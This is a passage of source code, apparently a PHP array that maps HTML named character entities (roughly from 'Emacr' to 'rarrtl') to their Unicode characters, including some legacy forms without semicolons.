        'Emacr' => 'Ē',
        'emacr' => 'ē',
        'empty' => '∅',
        'emptyset' => '∅',
        'EmptySmallSquare' => '◻',
        'emptyv' => '∅',
        'EmptyVerySmallSquare' => '▫',
        'emsp' => ' ',
        'emsp13' => ' ',
        'emsp14' => ' ',
        'ENG' => 'Ŋ',
        'eng' => 'ŋ',
        'ensp' => ' ',
        'Eogon' => 'Ę',
        'eogon' => 'ę',
        'Eopf' => '𝔼',
        'eopf' => '𝕖',
        'epar' => '⋕',
        'eparsl' => '⧣',
        'eplus' => '⩱',
        'epsi' => 'ε',
        'Epsilon' => 'Ε',
        'epsilon' => 'ε',
        'epsiv' => 'ϵ',
        'eqcirc' => '≖',
        'eqcolon' => '≕',
        'eqsim' => '≂',
        'eqslantgtr' => '⪖',
        'eqslantless' => '⪕',
        'Equal' => '⩵',
        'equals' => '=',
        'EqualTilde' => '≂',
        'equest' => '≟',
        'Equilibrium' => '⇌',
        'equiv' => '≡',
        'equivDD' => '⩸',
        'eqvparsl' => '⧥',
        'erarr' => '⥱',
        'erDot' => '≓',
        'Escr' => 'ℰ',
        'escr' => 'ℯ',
        'esdot' => '≐',
        'Esim' => '⩳',
        'esim' => '≂',
        'Eta' => 'Η',
        'eta' => 'η',
        'ETH' => 'Ð',
        'ET' => 'Ð',
        'eth' => 'ð',
        'et' => 'ð',
        'Euml' => 'Ë',
        'Eum' => 'Ë',
        'euml' => 'ë',
        'eum' => 'ë',
        'euro' => '€',
        'excl' => '!',
        'exist' => '∃',
        'Exists' => '∃',
        'expectation' => 'ℰ',
        'ExponentialE' => 'ⅇ',
        'exponentiale' => 'ⅇ',
        'fallingdotseq' => '≒',
        'Fcy' => 'Ф',
        'fcy' => 'ф',
        'female' => '♀',
        'ffilig' => 'ffi',
        'fflig' => 'ff',
        'ffllig' => 'ffl',
        'Ffr' => '𝔉',
        'ffr' => '𝔣',
        'filig' => 'fi',
        'FilledSmallSquare' => '◼',
        'FilledVerySmallSquare' => '▪',
        'fjlig' => 'fj',
        'flat' => '♭',
        'fllig' => 'fl',
        'fltns' => '▱',
        'fnof' => 'ƒ',
        'Fopf' => '𝔽',
        'fopf' => '𝕗',
        'ForAll' => '∀',
        'forall' => '∀',
        'fork' => '⋔',
        'forkv' => '⫙',
        'Fouriertrf' => 'ℱ',
        'fpartint' => '⨍',
        'frac12' => '½',
        'frac1' => '¼',
        'frac13' => '⅓',
        'frac14' => '¼',
        'frac15' => '⅕',
        'frac16' => '⅙',
        'frac18' => '⅛',
        'frac23' => '⅔',
        'frac25' => '⅖',
        'frac34' => '¾',
        'frac3' => '¾',
        'frac35' => '⅗',
        'frac38' => '⅜',
        'frac45' => '⅘',
        'frac56' => '⅚',
        'frac58' => '⅝',
        'frac78' => '⅞',
        'frasl' => '⁄',
        'frown' => '⌢',
        'Fscr' => 'ℱ',
        'fscr' => '𝒻',
        'gacute' => 'ǵ',
        'Gamma' => 'Γ',
        'gamma' => 'γ',
        'Gammad' => 'Ϝ',
        'gammad' => 'ϝ',
        'gap' => '⪆',
        'Gbreve' => 'Ğ',
        'gbreve' => 'ğ',
        'Gcedil' => 'Ģ',
        'Gcirc' => 'Ĝ',
        'gcirc' => 'ĝ',
        'Gcy' => 'Г',
        'gcy' => 'г',
        'Gdot' => 'Ġ',
        'gdot' => 'ġ',
        'gE' => '≧',
        'ge' => '≥',
        'gEl' => '⪌',
        'gel' => '⋛',
        'geq' => '≥',
        'geqq' => '≧',
        'geqslant' => '⩾',
        'ges' => '⩾',
        'gescc' => '⪩',
        'gesdot' => '⪀',
        'gesdoto' => '⪂',
        'gesdotol' => '⪄',
        'gesl' => '⋛︀',
        'gesles' => '⪔',
        'Gfr' => '𝔊',
        'gfr' => '𝔤',
        'Gg' => '⋙',
        'gg' => '≫',
        'ggg' => '⋙',
        'gimel' => 'ℷ',
        'GJcy' => 'Ѓ',
        'gjcy' => 'ѓ',
        'gl' => '≷',
        'gla' => '⪥',
        'glE' => '⪒',
        'glj' => '⪤',
        'gnap' => '⪊',
        'gnapprox' => '⪊',
        'gnE' => '≩',
        'gne' => '⪈',
        'gneq' => '⪈',
        'gneqq' => '≩',
        'gnsim' => '⋧',
        'Gopf' => '𝔾',
        'gopf' => '𝕘',
        'grave' => '`',
        'GreaterEqual' => '≥',
        'GreaterEqualLess' => '⋛',
        'GreaterFullEqual' => '≧',
        'GreaterGreater' => '⪢',
        'GreaterLess' => '≷',
        'GreaterSlantEqual' => '⩾',
        'GreaterTilde' => '≳',
        'Gscr' => '𝒢',
        'gscr' => 'ℊ',
        'gsim' => '≳',
        'gsime' => '⪎',
        'gsiml' => '⪐',
        'GT' => '>',
        'G' => '>',
        'Gt' => '≫',
        'gt' => '>',
        'g' => '>',
        'gtcc' => '⪧',
        'gtcir' => '⩺',
        'gtdot' => '⋗',
        'gtlPar' => '⦕',
        'gtquest' => '⩼',
        'gtrapprox' => '⪆',
        'gtrarr' => '⥸',
        'gtrdot' => '⋗',
        'gtreqless' => '⋛',
        'gtreqqless' => '⪌',
        'gtrless' => '≷',
        'gtrsim' => '≳',
        'gvertneqq' => '≩︀',
        'gvnE' => '≩︀',
        'Hacek' => 'ˇ',
        'hairsp' => ' ',
        'half' => '½',
        'hamilt' => 'ℋ',
        'HARDcy' => 'Ъ',
        'hardcy' => 'ъ',
        'hArr' => '⇔',
        'harr' => '↔',
        'harrcir' => '⥈',
        'harrw' => '↭',
        'Hat' => '^',
        'hbar' => 'ℏ',
        'Hcirc' => 'Ĥ',
        'hcirc' => 'ĥ',
        'hearts' => '♥',
        'heartsuit' => '♥',
        'hellip' => '…',
        'hercon' => '⊹',
        'Hfr' => 'ℌ',
        'hfr' => '𝔥',
        'HilbertSpace' => 'ℋ',
        'hksearow' => '⤥',
        'hkswarow' => '⤦',
        'hoarr' => '⇿',
        'homtht' => '∻',
        'hookleftarrow' => '↩',
        'hookrightarrow' => '↪',
        'Hopf' => 'ℍ',
        'hopf' => '𝕙',
        'horbar' => '―',
        'HorizontalLine' => '─',
        'Hscr' => 'ℋ',
        'hscr' => '𝒽',
        'hslash' => 'ℏ',
        'Hstrok' => 'Ħ',
        'hstrok' => 'ħ',
        'HumpDownHump' => '≎',
        'HumpEqual' => '≏',
        'hybull' => '⁃',
        'hyphen' => '‐',
        'Iacute' => 'Í',
        'Iacut' => 'Í',
        'iacute' => 'í',
        'iacut' => 'í',
        'ic' => '⁣',
        'Icirc' => 'Î',
        'Icir' => 'Î',
        'icirc' => 'î',
        'icir' => 'î',
        'Icy' => 'И',
        'icy' => 'и',
        'Idot' => 'İ',
        'IEcy' => 'Е',
        'iecy' => 'е',
        'iexcl' => '¡',
        'iexc' => '¡',
        'iff' => '⇔',
        'Ifr' => 'ℑ',
        'ifr' => '𝔦',
        'Igrave' => 'Ì',
        'Igrav' => 'Ì',
        'igrave' => 'ì',
        'igrav' => 'ì',
        'ii' => 'ⅈ',
        'iiiint' => '⨌',
        'iiint' => '∭',
        'iinfin' => '⧜',
        'iiota' => '℩',
        'IJlig' => 'IJ',
        'ijlig' => 'ij',
        'Im' => 'ℑ',
        'Imacr' => 'Ī',
        'imacr' => 'ī',
        'image' => 'ℑ',
        'ImaginaryI' => 'ⅈ',
        'imagline' => 'ℐ',
        'imagpart' => 'ℑ',
        'imath' => 'ı',
        'imof' => '⊷',
        'imped' => 'Ƶ',
        'Implies' => '⇒',
        'in' => '∈',
        'incare' => '℅',
        'infin' => '∞',
        'infintie' => '⧝',
        'inodot' => 'ı',
        'Int' => '∬',
        'int' => '∫',
        'intcal' => '⊺',
        'integers' => 'ℤ',
        'Integral' => '∫',
        'intercal' => '⊺',
        'Intersection' => '⋂',
        'intlarhk' => '⨗',
        'intprod' => '⨼',
        'InvisibleComma' => '⁣',
        'InvisibleTimes' => '⁢',
        'IOcy' => 'Ё',
        'iocy' => 'ё',
        'Iogon' => 'Į',
        'iogon' => 'į',
        'Iopf' => '𝕀',
        'iopf' => '𝕚',
        'Iota' => 'Ι',
        'iota' => 'ι',
        'iprod' => '⨼',
        'iquest' => '¿',
        'iques' => '¿',
        'Iscr' => 'ℐ',
        'iscr' => '𝒾',
        'isin' => '∈',
        'isindot' => '⋵',
        'isinE' => '⋹',
        'isins' => '⋴',
        'isinsv' => '⋳',
        'isinv' => '∈',
        'it' => '⁢',
        'Itilde' => 'Ĩ',
        'itilde' => 'ĩ',
        'Iukcy' => 'І',
        'iukcy' => 'і',
        'Iuml' => 'Ï',
        'Ium' => 'Ï',
        'iuml' => 'ï',
        'ium' => 'ï',
        'Jcirc' => 'Ĵ',
        'jcirc' => 'ĵ',
        'Jcy' => 'Й',
        'jcy' => 'й',
        'Jfr' => '𝔍',
        'jfr' => '𝔧',
        'jmath' => 'ȷ',
        'Jopf' => '𝕁',
        'jopf' => '𝕛',
        'Jscr' => '𝒥',
        'jscr' => '𝒿',
        'Jsercy' => 'Ј',
        'jsercy' => 'ј',
        'Jukcy' => 'Є',
        'jukcy' => 'є',
        'Kappa' => 'Κ',
        'kappa' => 'κ',
        'kappav' => 'ϰ',
        'Kcedil' => 'Ķ',
        'kcedil' => 'ķ',
        'Kcy' => 'К',
        'kcy' => 'к',
        'Kfr' => '𝔎',
        'kfr' => '𝔨',
        'kgreen' => 'ĸ',
        'KHcy' => 'Х',
        'khcy' => 'х',
        'KJcy' => 'Ќ',
        'kjcy' => 'ќ',
        'Kopf' => '𝕂',
        'kopf' => '𝕜',
        'Kscr' => '𝒦',
        'kscr' => '𝓀',
        'lAarr' => '⇚',
        'Lacute' => 'Ĺ',
        'lacute' => 'ĺ',
        'laemptyv' => '⦴',
        'lagran' => 'ℒ',
        'Lambda' => 'Λ',
        'lambda' => 'λ',
        'Lang' => '⟪',
        'lang' => '⟨',
        'langd' => '⦑',
        'langle' => '⟨',
        'lap' => '⪅',
        'Laplacetrf' => 'ℒ',
        'laquo' => '«',
        'laqu' => '«',
        'Larr' => '↞',
        'lArr' => '⇐',
        'larr' => '←',
        'larrb' => '⇤',
        'larrbfs' => '⤟',
        'larrfs' => '⤝',
        'larrhk' => '↩',
        'larrlp' => '↫',
        'larrpl' => '⤹',
        'larrsim' => '⥳',
        'larrtl' => '↢',
        'lat' => '⪫',
        'lAtail' => '⤛',
        'latail' => '⤙',
        'late' => '⪭',
        'lates' => '⪭︀',
        'lBarr' => '⤎',
        'lbarr' => '⤌',
        'lbbrk' => '❲',
        'lbrace' => '{',
        'lbrack' => '[',
        'lbrke' => '⦋',
        'lbrksld' => '⦏',
        'lbrkslu' => '⦍',
        'Lcaron' => 'Ľ',
        'lcaron' => 'ľ',
        'Lcedil' => 'Ļ',
        'lcedil' => 'ļ',
        'lceil' => '⌈',
        'lcub' => '{',
        'Lcy' => 'Л',
        'lcy' => 'л',
        'ldca' => '⤶',
        'ldquo' => '“',
        'ldquor' => '„',
        'ldrdhar' => '⥧',
        'ldrushar' => '⥋',
        'ldsh' => '↲',
        'lE' => '≦',
        'le' => '≤',
        'LeftAngleBracket' => '⟨',
        'LeftArrow' => '←',
        'Leftarrow' => '⇐',
        'leftarrow' => '←',
        'LeftArrowBar' => '⇤',
        'LeftArrowRightArrow' => '⇆',
        'leftarrowtail' => '↢',
        'LeftCeiling' => '⌈',
        'LeftDoubleBracket' => '⟦',
        'LeftDownTeeVector' => '⥡',
        'LeftDownVector' => '⇃',
        'LeftDownVectorBar' => '⥙',
        'LeftFloor' => '⌊',
        'leftharpoondown' => '↽',
        'leftharpoonup' => '↼',
        'leftleftarrows' => '⇇',
        'LeftRightArrow' => '↔',
        'Leftrightarrow' => '⇔',
        'leftrightarrow' => '↔',
        'leftrightarrows' => '⇆',
        'leftrightharpoons' => '⇋',
        'leftrightsquigarrow' => '↭',
        'LeftRightVector' => '⥎',
        'LeftTee' => '⊣',
        'LeftTeeArrow' => '↤',
        'LeftTeeVector' => '⥚',
        'leftthreetimes' => '⋋',
        'LeftTriangle' => '⊲',
        'LeftTriangleBar' => '⧏',
        'LeftTriangleEqual' => '⊴',
        'LeftUpDownVector' => '⥑',
        'LeftUpTeeVector' => '⥠',
        'LeftUpVector' => '↿',
        'LeftUpVectorBar' => '⥘',
        'LeftVector' => '↼',
        'LeftVectorBar' => '⥒',
        'lEg' => '⪋',
        'leg' => '⋚',
        'leq' => '≤',
        'leqq' => '≦',
        'leqslant' => '⩽',
        'les' => '⩽',
        'lescc' => '⪨',
        'lesdot' => '⩿',
        'lesdoto' => '⪁',
        'lesdotor' => '⪃',
        'lesg' => '⋚︀',
        'lesges' => '⪓',
        'lessapprox' => '⪅',
        'lessdot' => '⋖',
        'lesseqgtr' => '⋚',
        'lesseqqgtr' => '⪋',
        'LessEqualGreater' => '⋚',
        'LessFullEqual' => '≦',
        'LessGreater' => '≶',
        'lessgtr' => '≶',
        'LessLess' => '⪡',
        'lesssim' => '≲',
        'LessSlantEqual' => '⩽',
        'LessTilde' => '≲',
        'lfisht' => '⥼',
        'lfloor' => '⌊',
        'Lfr' => '𝔏',
        'lfr' => '𝔩',
        'lg' => '≶',
        'lgE' => '⪑',
        'lHar' => '⥢',
        'lhard' => '↽',
        'lharu' => '↼',
        'lharul' => '⥪',
        'lhblk' => '▄',
        'LJcy' => 'Љ',
        'ljcy' => 'љ',
        'Ll' => '⋘',
        'll' => '≪',
        'llarr' => '⇇',
        'llcorner' => '⌞',
        'Lleftarrow' => '⇚',
        'llhard' => '⥫',
        'lltri' => '◺',
        'Lmidot' => 'Ŀ',
        'lmidot' => 'ŀ',
        'lmoust' => '⎰',
        'lmoustache' => '⎰',
        'lnap' => '⪉',
        'lnapprox' => '⪉',
        'lnE' => '≨',
        'lne' => '⪇',
        'lneq' => '⪇',
        'lneqq' => '≨',
        'lnsim' => '⋦',
        'loang' => '⟬',
        'loarr' => '⇽',
        'lobrk' => '⟦',
        'LongLeftArrow' => '⟵',
        'Longleftarrow' => '⟸',
        'longleftarrow' => '⟵',
        'LongLeftRightArrow' => '⟷',
        'Longleftrightarrow' => '⟺',
        'longleftrightarrow' => '⟷',
        'longmapsto' => '⟼',
        'LongRightArrow' => '⟶',
        'Longrightarrow' => '⟹',
        'longrightarrow' => '⟶',
        'looparrowleft' => '↫',
        'looparrowright' => '↬',
        'lopar' => '⦅',
        'Lopf' => '𝕃',
        'lopf' => '𝕝',
        'loplus' => '⨭',
        'lotimes' => '⨴',
        'lowast' => '∗',
        'lowbar' => '_',
        'LowerLeftArrow' => '↙',
        'LowerRightArrow' => '↘',
        'loz' => '◊',
        'lozenge' => '◊',
        'lozf' => '⧫',
        'lpar' => '(',
        'lparlt' => '⦓',
        'lrarr' => '⇆',
        'lrcorner' => '⌟',
        'lrhar' => '⇋',
        'lrhard' => '⥭',
        'lrm' => '‎',
        'lrtri' => '⊿',
        'lsaquo' => '‹',
        'Lscr' => 'ℒ',
        'lscr' => '𝓁',
        'Lsh' => '↰',
        'lsh' => '↰',
        'lsim' => '≲',
        'lsime' => '⪍',
        'lsimg' => '⪏',
        'lsqb' => '[',
        'lsquo' => '‘',
        'lsquor' => '‚',
        'Lstrok' => 'Ł',
        'lstrok' => 'ł',
        'LT' => '<',
        'L' => '<',
        'Lt' => '≪',
        'lt' => '<',
        'l' => '<',
        'ltcc' => '⪦',
        'ltcir' => '⩹',
        'ltdot' => '⋖',
        'lthree' => '⋋',
        'ltimes' => '⋉',
        'ltlarr' => '⥶',
        'ltquest' => '⩻',
        'ltri' => '◃',
        'ltrie' => '⊴',
        'ltrif' => '◂',
        'ltrPar' => '⦖',
        'lurdshar' => '⥊',
        'luruhar' => '⥦',
        'lvertneqq' => '≨︀',
        'lvnE' => '≨︀',
        'macr' => '¯',
        'mac' => '¯',
        'male' => '♂',
        'malt' => '✠',
        'maltese' => '✠',
        'Map' => '⤅',
        'map' => '↦',
        'mapsto' => '↦',
        'mapstodown' => '↧',
        'mapstoleft' => '↤',
        'mapstoup' => '↥',
        'marker' => '▮',
        'mcomma' => '⨩',
        'Mcy' => 'М',
        'mcy' => 'м',
        'mdash' => '—',
        'mDDot' => '∺',
        'measuredangle' => '∡',
        'MediumSpace' => ' ',
        'Mellintrf' => 'ℳ',
        'Mfr' => '𝔐',
        'mfr' => '𝔪',
        'mho' => '℧',
        'micro' => 'µ',
        'micr' => 'µ',
        'mid' => '∣',
        'midast' => '*',
        'midcir' => '⫰',
        'middot' => '·',
        'middo' => '·',
        'minus' => '−',
        'minusb' => '⊟',
        'minusd' => '∸',
        'minusdu' => '⨪',
        'MinusPlus' => '∓',
        'mlcp' => '⫛',
        'mldr' => '…',
        'mnplus' => '∓',
        'models' => '⊧',
        'Mopf' => '𝕄',
        'mopf' => '𝕞',
        'mp' => '∓',
        'Mscr' => 'ℳ',
        'mscr' => '𝓂',
        'mstpos' => '∾',
        'Mu' => 'Μ',
        'mu' => 'μ',
        'multimap' => '⊸',
        'mumap' => '⊸',
        'nabla' => '∇',
        'Nacute' => 'Ń',
        'nacute' => 'ń',
        'nang' => '∠⃒',
        'nap' => '≉',
        'napE' => '⩰̸',
        'napid' => '≋̸',
        'napos' => 'ʼn',
        'napprox' => '≉',
        'natur' => '♮',
        'natural' => '♮',
        'naturals' => 'ℕ',
        'nbsp' => ' ',
        'nbs' => ' ',
        'nbump' => '≎̸',
        'nbumpe' => '≏̸',
        'ncap' => '⩃',
        'Ncaron' => 'Ň',
        'ncaron' => 'ň',
        'Ncedil' => 'Ņ',
        'ncedil' => 'ņ',
        'ncong' => '≇',
        'ncongdot' => '⩭̸',
        'ncup' => '⩂',
        'Ncy' => 'Н',
        'ncy' => 'н',
        'ndash' => '–',
        'ne' => '≠',
        'nearhk' => '⤤',
        'neArr' => '⇗',
        'nearr' => '↗',
        'nearrow' => '↗',
        'nedot' => '≐̸',
        'NegativeMediumSpace' => '​',
        'NegativeThickSpace' => '​',
        'NegativeThinSpace' => '​',
        'NegativeVeryThinSpace' => '​',
        'nequiv' => '≢',
        'nesear' => '⤨',
        'nesim' => '≂̸',
        'NestedGreaterGreater' => '≫',
        'NestedLessLess' => '≪',
        'NewLine' => '
',
        'nexist' => '∄',
        'nexists' => '∄',
        'Nfr' => '𝔑',
        'nfr' => '𝔫',
        'ngE' => '≧̸',
        'nge' => '≱',
        'ngeq' => '≱',
        'ngeqq' => '≧̸',
        'ngeqslant' => '⩾̸',
        'nges' => '⩾̸',
        'nGg' => '⋙̸',
        'ngsim' => '≵',
        'nGt' => '≫⃒',
        'ngt' => '≯',
        'ngtr' => '≯',
        'nGtv' => '≫̸',
        'nhArr' => '⇎',
        'nharr' => '↮',
        'nhpar' => '⫲',
        'ni' => '∋',
        'nis' => '⋼',
        'nisd' => '⋺',
        'niv' => '∋',
        'NJcy' => 'Њ',
        'njcy' => 'њ',
        'nlArr' => '⇍',
        'nlarr' => '↚',
        'nldr' => '‥',
        'nlE' => '≦̸',
        'nle' => '≰',
        'nLeftarrow' => '⇍',
        'nleftarrow' => '↚',
        'nLeftrightarrow' => '⇎',
        'nleftrightarrow' => '↮',
        'nleq' => '≰',
        'nleqq' => '≦̸',
        'nleqslant' => '⩽̸',
        'nles' => '⩽̸',
        'nless' => '≮',
        'nLl' => '⋘̸',
        'nlsim' => '≴',
        'nLt' => '≪⃒',
        'nlt' => '≮',
        'nltri' => '⋪',
        'nltrie' => '⋬',
        'nLtv' => '≪̸',
        'nmid' => '∤',
        'NoBreak' => '⁠',
        'NonBreakingSpace' => ' ',
        'Nopf' => 'ℕ',
        'nopf' => '𝕟',
        'Not' => '⫬',
        'not' => '¬',
        'no' => '¬',
        'NotCongruent' => '≢',
        'NotCupCap' => '≭',
        'NotDoubleVerticalBar' => '∦',
        'NotElement' => '∉',
        'NotEqual' => '≠',
        'NotEqualTilde' => '≂̸',
        'NotExists' => '∄',
        'NotGreater' => '≯',
        'NotGreaterEqual' => '≱',
        'NotGreaterFullEqual' => '≧̸',
        'NotGreaterGreater' => '≫̸',
        'NotGreaterLess' => '≹',
        'NotGreaterSlantEqual' => '⩾̸',
        'NotGreaterTilde' => '≵',
        'NotHumpDownHump' => '≎̸',
        'NotHumpEqual' => '≏̸',
        'notin' => '∉',
        'notindot' => '⋵̸',
        'notinE' => '⋹̸',
        'notinva' => '∉',
        'notinvb' => '⋷',
        'notinvc' => '⋶',
        'NotLeftTriangle' => '⋪',
        'NotLeftTriangleBar' => '⧏̸',
        'NotLeftTriangleEqual' => '⋬',
        'NotLess' => '≮',
        'NotLessEqual' => '≰',
        'NotLessGreater' => '≸',
        'NotLessLess' => '≪̸',
        'NotLessSlantEqual' => '⩽̸',
        'NotLessTilde' => '≴',
        'NotNestedGreaterGreater' => '⪢̸',
        'NotNestedLessLess' => '⪡̸',
        'notni' => '∌',
        'notniva' => '∌',
        'notnivb' => '⋾',
        'notnivc' => '⋽',
        'NotPrecedes' => '⊀',
        'NotPrecedesEqual' => '⪯̸',
        'NotPrecedesSlantEqual' => '⋠',
        'NotReverseElement' => '∌',
        'NotRightTriangle' => '⋫',
        'NotRightTriangleBar' => '⧐̸',
        'NotRightTriangleEqual' => '⋭',
        'NotSquareSubset' => '⊏̸',
        'NotSquareSubsetEqual' => '⋢',
        'NotSquareSuperset' => '⊐̸',
        'NotSquareSupersetEqual' => '⋣',
        'NotSubset' => '⊂⃒',
        'NotSubsetEqual' => '⊈',
        'NotSucceeds' => '⊁',
        'NotSucceedsEqual' => '⪰̸',
        'NotSucceedsSlantEqual' => '⋡',
        'NotSucceedsTilde' => '≿̸',
        'NotSuperset' => '⊃⃒',
        'NotSupersetEqual' => '⊉',
        'NotTilde' => '≁',
        'NotTildeEqual' => '≄',
        'NotTildeFullEqual' => '≇',
        'NotTildeTilde' => '≉',
        'NotVerticalBar' => '∤',
        'npar' => '∦',
        'nparallel' => '∦',
        'nparsl' => '⫽⃥',
        'npart' => '∂̸',
        'npolint' => '⨔',
        'npr' => '⊀',
        'nprcue' => '⋠',
        'npre' => '⪯̸',
        'nprec' => '⊀',
        'npreceq' => '⪯̸',
        'nrArr' => '⇏',
        'nrarr' => '↛',
        'nrarrc' => '⤳̸',
        'nrarrw' => '↝̸',
        'nRightarrow' => '⇏',
        'nrightarrow' => '↛',
        'nrtri' => '⋫',
        'nrtrie' => '⋭',
        'nsc' => '⊁',
        'nsccue' => '⋡',
        'nsce' => '⪰̸',
        'Nscr' => '𝒩',
        'nscr' => '𝓃',
        'nshortmid' => '∤',
        'nshortparallel' => '∦',
        'nsim' => '≁',
        'nsime' => '≄',
        'nsimeq' => '≄',
        'nsmid' => '∤',
        'nspar' => '∦',
        'nsqsube' => '⋢',
        'nsqsupe' => '⋣',
        'nsub' => '⊄',
        'nsubE' => '⫅̸',
        'nsube' => '⊈',
        'nsubset' => '⊂⃒',
        'nsubseteq' => '⊈',
        'nsubseteqq' => '⫅̸',
        'nsucc' => '⊁',
        'nsucceq' => '⪰̸',
        'nsup' => '⊅',
        'nsupE' => '⫆̸',
        'nsupe' => '⊉',
        'nsupset' => '⊃⃒',
        'nsupseteq' => '⊉',
        'nsupseteqq' => '⫆̸',
        'ntgl' => '≹',
        'Ntilde' => 'Ñ',
        'Ntild' => 'Ñ',
        'ntilde' => 'ñ',
        'ntild' => 'ñ',
        'ntlg' => '≸',
        'ntriangleleft' => '⋪',
        'ntrianglelefteq' => '⋬',
        'ntriangleright' => '⋫',
        'ntrianglerighteq' => '⋭',
        'Nu' => 'Ν',
        'nu' => 'ν',
        'num' => '#',
        'numero' => '№',
        'numsp' => ' ',
        'nvap' => '≍⃒',
        'nVDash' => '⊯',
        'nVdash' => '⊮',
        'nvDash' => '⊭',
        'nvdash' => '⊬',
        'nvge' => '≥⃒',
        'nvgt' => '>⃒',
        'nvHarr' => '⤄',
        'nvinfin' => '⧞',
        'nvlArr' => '⤂',
        'nvle' => '≤⃒',
        'nvlt' => '<⃒',
        'nvltrie' => '⊴⃒',
        'nvrArr' => '⤃',
        'nvrtrie' => '⊵⃒',
        'nvsim' => '∼⃒',
        'nwarhk' => '⤣',
        'nwArr' => '⇖',
        'nwarr' => '↖',
        'nwarrow' => '↖',
        'nwnear' => '⤧',
        'Oacute' => 'Ó',
        'Oacut' => 'Ó',
        'oacute' => 'ó',
        'oacut' => 'ó',
        'oast' => '⊛',
        'ocir' => 'ô',
        'Ocirc' => 'Ô',
        'Ocir' => 'Ô',
        'ocirc' => 'ô',
        'Ocy' => 'О',
        'ocy' => 'о',
        'odash' => '⊝',
        'Odblac' => 'Ő',
        'odblac' => 'ő',
        'odiv' => '⨸',
        'odot' => '⊙',
        'odsold' => '⦼',
        'OElig' => 'Œ',
        'oelig' => 'œ',
        'ofcir' => '⦿',
        'Ofr' => '𝔒',
        'ofr' => '𝔬',
        'ogon' => '˛',
        'Ograve' => 'Ò',
        'Ograv' => 'Ò',
        'ograve' => 'ò',
        'ograv' => 'ò',
        'ogt' => '⧁',
        'ohbar' => '⦵',
        'ohm' => 'Ω',
        'oint' => '∮',
        'olarr' => '↺',
        'olcir' => '⦾',
        'olcross' => '⦻',
        'oline' => '‾',
        'olt' => '⧀',
        'Omacr' => 'Ō',
        'omacr' => 'ō',
        'Omega' => 'Ω',
        'omega' => 'ω',
        'Omicron' => 'Ο',
        'omicron' => 'ο',
        'omid' => '⦶',
        'ominus' => '⊖',
        'Oopf' => '𝕆',
        'oopf' => '𝕠',
        'opar' => '⦷',
        'OpenCurlyDoubleQuote' => '“',
        'OpenCurlyQuote' => '‘',
        'operp' => '⦹',
        'oplus' => '⊕',
        'Or' => '⩔',
        'or' => '∨',
        'orarr' => '↻',
        'ord' => 'º',
        'order' => 'ℴ',
        'orderof' => 'ℴ',
        'ordf' => 'ª',
        'ordm' => 'º',
        'origof' => '⊶',
        'oror' => '⩖',
        'orslope' => '⩗',
        'orv' => '⩛',
        'oS' => 'Ⓢ',
        'Oscr' => '𝒪',
        'oscr' => 'ℴ',
        'Oslash' => 'Ø',
        'Oslas' => 'Ø',
        'oslash' => 'ø',
        'oslas' => 'ø',
        'osol' => '⊘',
        'Otilde' => 'Õ',
        'Otild' => 'Õ',
        'otilde' => 'õ',
        'otild' => 'õ',
        'Otimes' => '⨷',
        'otimes' => '⊗',
        'otimesas' => '⨶',
        'Ouml' => 'Ö',
        'Oum' => 'Ö',
        'ouml' => 'ö',
        'oum' => 'ö',
        'ovbar' => '⌽',
        'OverBar' => '‾',
        'OverBrace' => '⏞',
        'OverBracket' => '⎴',
        'OverParenthesis' => '⏜',
        'par' => '¶',
        'para' => '¶',
        'parallel' => '∥',
        'parsim' => '⫳',
        'parsl' => '⫽',
        'part' => '∂',
        'PartialD' => '∂',
        'Pcy' => 'П',
        'pcy' => 'п',
        'percnt' => '%',
        'period' => '.',
        'permil' => '‰',
        'perp' => '⊥',
        'pertenk' => '‱',
        'Pfr' => '𝔓',
        'pfr' => '𝔭',
        'Phi' => 'Φ',
        'phi' => 'φ',
        'phiv' => 'ϕ',
        'phmmat' => 'ℳ',
        'phone' => '☎',
        'Pi' => 'Π',
        'pi' => 'π',
        'pitchfork' => '⋔',
        'piv' => 'ϖ',
        'planck' => 'ℏ',
        'planckh' => 'ℎ',
        'plankv' => 'ℏ',
        'plus' => '+',
        'plusacir' => '⨣',
        'plusb' => '⊞',
        'pluscir' => '⨢',
        'plusdo' => '∔',
        'plusdu' => '⨥',
        'pluse' => '⩲',
        'PlusMinus' => '±',
        'plusmn' => '±',
        'plusm' => '±',
        'plussim' => '⨦',
        'plustwo' => '⨧',
        'pm' => '±',
        'Poincareplane' => 'ℌ',
        'pointint' => '⨕',
        'Popf' => 'ℙ',
        'popf' => '𝕡',
        'pound' => '£',
        'poun' => '£',
        'Pr' => '⪻',
        'pr' => '≺',
        'prap' => '⪷',
        'prcue' => '≼',
        'prE' => '⪳',
        'pre' => '⪯',
        'prec' => '≺',
        'precapprox' => '⪷',
        'preccurlyeq' => '≼',
        'Precedes' => '≺',
        'PrecedesEqual' => '⪯',
        'PrecedesSlantEqual' => '≼',
        'PrecedesTilde' => '≾',
        'preceq' => '⪯',
        'precnapprox' => '⪹',
        'precneqq' => '⪵',
        'precnsim' => '⋨',
        'precsim' => '≾',
        'Prime' => '″',
        'prime' => '′',
        'primes' => 'ℙ',
        'prnap' => '⪹',
        'prnE' => '⪵',
        'prnsim' => '⋨',
        'prod' => '∏',
        'Product' => '∏',
        'profalar' => '⌮',
        'profline' => '⌒',
        'profsurf' => '⌓',
        'prop' => '∝',
        'Proportion' => '∷',
        'Proportional' => '∝',
        'propto' => '∝',
        'prsim' => '≾',
        'prurel' => '⊰',
        'Pscr' => '𝒫',
        'pscr' => '𝓅',
        'Psi' => 'Ψ',
        'psi' => 'ψ',
        'puncsp' => ' ',
        'Qfr' => '𝔔',
        'qfr' => '𝔮',
        'qint' => '⨌',
        'Qopf' => 'ℚ',
        'qopf' => '𝕢',
        'qprime' => '⁗',
        'Qscr' => '𝒬',
        'qscr' => '𝓆',
        'quaternions' => 'ℍ',
        'quatint' => '⨖',
        'quest' => '?',
        'questeq' => '≟',
        'QUOT' => '"',
        'QUO' => '"',
        'quot' => '"',
        'quo' => '"',
        'rAarr' => '⇛',
        'race' => '∽̱',
        'Racute' => 'Ŕ',
        'racute' => 'ŕ',
        'radic' => '√',
        'raemptyv' => '⦳',
        'Rang' => '⟫',
        'rang' => '⟩',
        'rangd' => '⦒',
        'range' => '⦥',
        'rangle' => '⟩',
        'raquo' => '»',
        'raqu' => '»',
        'Rarr' => '↠',
        'rArr' => '⇒',
        'rarr' => '→',
        'rarrap' => '⥵',
        'rarrb' => '⇥',
        'rarrbfs' => '⤠',
        'rarrc' => '⤳',
        'rarrfs' => '⤞',
        'rarrhk' => '↪',
        'rarrlp' => '↬',
        'rarrpl' => '⥅',
        'rarrsim' => '⥴',
        'Rarrtl' => '⤖',
        'rarrtl' => '↣',
